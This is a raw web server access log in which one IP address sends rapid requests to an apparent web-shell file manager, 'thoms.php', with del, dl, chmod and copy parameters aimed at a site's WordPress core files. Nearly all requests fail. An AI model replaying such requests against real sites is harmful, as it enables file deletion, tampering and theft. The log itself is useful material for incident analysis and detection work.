45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /biotaiwan.com.tw/wp-includes/class-pop3.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?dl=default-widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?del=rest-api.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?dl=json-schema.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /biotaiwan.com.tw/wp-includes/bookmark.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?del=template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /thoms.php?dl=user.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:14 -0400] "GET /biotaiwan.com.tw/wp-includes/class-feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?del=http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?del=theme-i18n.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?chmod=css&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=css&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fwidgets HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?chmod=class-feed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:15 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?del=deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?del=https-detection.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?del=l10n.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /biotaiwan.com.tw/wp-includes/customize/ HTTP/1.1" 200 2243 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?chmod=author-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fauthor-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fauthor-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?del=class-wpdb.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?dl=class-pop3.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?del=class-wp-widget.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /thoms.php?chmod=connectors.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:16 -0400] "GET /biotaiwan.com.tw/wp-includes/media.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?del=class-snoopy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?chmod=l10n.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?dl=ms-site.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ferror-protection.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ferror-protection.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fembed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fembed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:17 -0400] "GET /biotaiwan.com.tw/wp-includes/category-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?dl=error-protection.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
